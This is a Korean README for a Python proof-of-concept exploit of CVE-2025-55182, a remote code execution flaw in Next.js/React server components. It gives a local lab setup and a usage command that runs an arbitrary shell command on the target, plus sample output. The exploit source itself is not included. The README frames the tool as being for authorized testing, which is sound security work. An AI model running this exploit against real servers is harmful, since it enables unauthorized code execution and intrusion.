CVE-2025-55182 Python 익스플로잇

CVE-2025-55182를 시연하는 데 사용할 수 있는 Python 3 스크립트입니다. Next.js/React 애플리케이션의 서버 측 JavaScript 삽입 취약점을 악용하여, 잘못된 형식의 multipart 폼 데이터를 통해 원격 코드 실행을 허용합니다.

⚠️ 교육 및 승인된 테스트 목적으로만 사용하세요.

---

실습 환경 구성

출처: https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/

npx [email protected] sample-app --yes
cd sample app
npm run build
npm run start

🚀 사용 방법

🔧 사전 요구 사항

pip install requests

사용 예시

python3 exploit_cve_2025_55182.py -u http://localhost:3000 -c "id"

옵션

-u 프로토콜을 포함한 대상 도메인 또는 IP - http://localhost:3000 -c 서버에서 실행할 명령 - id

출력 예시

[+] Sending exploit to http://localhost:3000 with command: id
[+] Command Result:
uid=1000(app) gid=1000(app) groups=1000(app)

참고 자료

https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/